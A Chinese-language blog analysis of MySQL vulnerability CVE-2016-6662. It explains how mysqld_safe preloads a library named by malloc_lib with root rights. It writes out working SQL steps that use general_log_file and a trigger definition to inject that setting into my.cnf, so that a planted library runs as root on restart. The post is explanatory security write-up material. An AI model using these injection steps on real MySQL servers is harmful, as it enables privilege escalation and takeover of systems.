Mysql本地提權及遠程代碼執行漏洞淺析(CVE-2016-6662)

0x00 漏洞影響

mysql 5.5、5.6、5.7 在10月份更新前的所有版本,包括分支版本MariaDB和PerconaDB 。

0x01 利用途徑

通過遠程數據庫連接,web接口如phpMyAdmin,以及sql注入都可以完成。

0x02 漏洞原理

一些默認的mysql安裝方式並且mysqld_safe腳本作爲包裝器以root權限啓動mysql服務進程,比如像:

service mysql start
/etc/init.d/mysql start

ps aux | grep mysql以後你會發現mysqld_safe是以root權限運行,而mysql的主進程被降爲了mysql用戶,其中mysqld_safe有如下代碼:

----[ /usr/bin/mysqld_safe ]----

[...]

# set_malloc_lib LIB
# - If LIB is empty, do nothing and return
# - If LIB is 'tcmalloc', look for tcmalloc shared library in /usr/lib
#   then pkglibdir.  tcmalloc is part of the Google perftools project.
# - If LIB is an absolute path, assume it is a malloc shared library
#
# Put LIB in mysqld_ld_preload, which will be added to LD_PRELOAD when
# running mysqld.  See ld.so for details.
set_malloc_lib() {
  malloc_lib="$1"

  if [ "$malloc_lib" = tcmalloc ]; then
    pkglibdir=`get_mysql_config --variable=pkglibdir`
    malloc_lib=
    # This list is kept intentionally simple.  Simply set --malloc-lib
    # to a full path if another location is desired.
    for libdir in /usr/lib "$pkglibdir" "$pkglibdir/mysql"; do
      for flavor in _minimal '' _and_profiler _debug; do
        tmp="$libdir/libtcmalloc$flavor.so"
        #log_notice "DEBUG: Checking for malloc lib '$tmp'"
        [ -r "$tmp" ] || continue
        malloc_lib="$tmp"
        break 2
      done
    done

[...]

----------[ eof ]---------------

它將在mysql服務啓動前預加載一個共享庫,可以用–malloc-lib=LIB 來指定,但也可以用my.cnf文件來進行配置,寫在[mysqld] 或 [mysqld_safe]位置。

如果通過在my.cnf中指定一個存在惡意代碼的庫路徑,那麼在mysql重啓的時候,這些代碼將被以root權限執行。

在3.23.55版本之前曾有漏洞允許通過OUTFILE/DUMPFILE語句覆蓋配置文件my.cnf,但是在之後,mysql修復了這個漏洞,不允許通過OUTFILE/DUMPFILE語句覆蓋已經存在的文件

0x03 漏洞具體實現方式

這裏其實分爲三種情況:
1) my.cnf文件的擁有者是mysql,並且有讀寫權限。

雖然很多文檔都推薦這麼做,但其實是一個誤區,因爲如果這樣配置,那麼配置文件就可以被修改。

mysql> set global general_log_file = '/etc/my.cnf';
mysql> set global general_log = on;
mysql> select '
    '> 
    '> ; injected config entry
    '> 
    '> [mysqld]
    '> malloc_lib=/tmp/mysql_exploit_lib.so
    '> 
    '> [separator]
    '> 
    '> ';
1 row in set (0.00 sec)
mysql> set global general_log = off;

之後,my.cnf文件會多了以下的部分

/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
Tcp port: 3306  Unix socket: /var/run/mysqld/mysqld.sock
Time                 Id Command    Argument
160728 17:25:14    40 Query select '

; injected config entry

[mysqld]

malloc_lib=/tmp/mysql_exploit_lib.so

[separator]

'
160728 17:25:15    40 Query set global general_log = off

然後,在啓動的時候,mysqld_safe腳本就會讀取這個/tmp/mysql_exploit_lib.so 路徑,然後清除之前創建的配置,打開這個文件並執行。此時配合將惡意文件用OUTFILE/DUMPFILE寫入到/tmp目錄下,就可以完成任意代碼執行操作。

2) 在默認安裝方式下創建新的配置文件在mysql的數據目錄(默認mysql有寫權限),不用依賴錯誤的權限配置!不需要FILE權限和錯誤文件歸屬!

mysqld_safe不止讀取上面講到的配置文件,同時還讀取/var/lib/mysql/my.cnf ,而這個目錄在任何安裝情況下,mysql用戶都是擁有寫權限!

----[ /usr/bin/mysqld_safe ]----

[...]
# Try where the binary installs put it
if test -d $MY_BASEDIR_VERSION/data/mysql
then
  DATADIR=$MY_BASEDIR_VERSION/data
  if test -z "$defaults" -a -r "$DATADIR/my.cnf"
  then
    defaults="--defaults-extra-file=$DATADIR/my.cnf"
  fi
[...]

----------[ eof ]---------------

利用以下代碼:

mysql> set global general_log_file = '/var/lib/mysql/my.cnf';
mysql> set global general_log = on;
mysql> select '
    '> 
    '> ; injected config entry
    '> 
    '> [mysqld]
    '> malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so
    '> 
    '> [separator]
    '> 
    '> ';
1 row in set (0.00 sec)
mysql> set global general_log = off;

不過以上的配置文件不會被接受,因爲mysql不允許配置文件以非正確的配置標籤開頭(如[mysqld]),正確的繞過方式有待更新。

3) 如果只有SELECT和FILE權限,不能利用日誌記錄的方式。

那麼只能利用觸發器來修改配置文件。

CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
AFTER INSERT
   ON `active_table` FOR EACH ROW
BEGIN
   DECLARE void varchar(550);
   set global general_log_file='/var/lib/mysql/my.cnf';
   set global general_log = on;
   select "
[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'

" INTO void;   
   set global general_log = off;
END;

或者

SELECT '...trigger_definition...' INTO DUMPFILE /var/lib/mysql/activedb/active_table.TRG' 

0x04 小結

或許我理解會有一些錯誤的地方,還望各位指正一下,之前就有人做過解析,寫的很好,一併貼出鏈接:
http://blog.csdn.net/u011721501/article/details/52521037

漏洞的公告原文:
http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章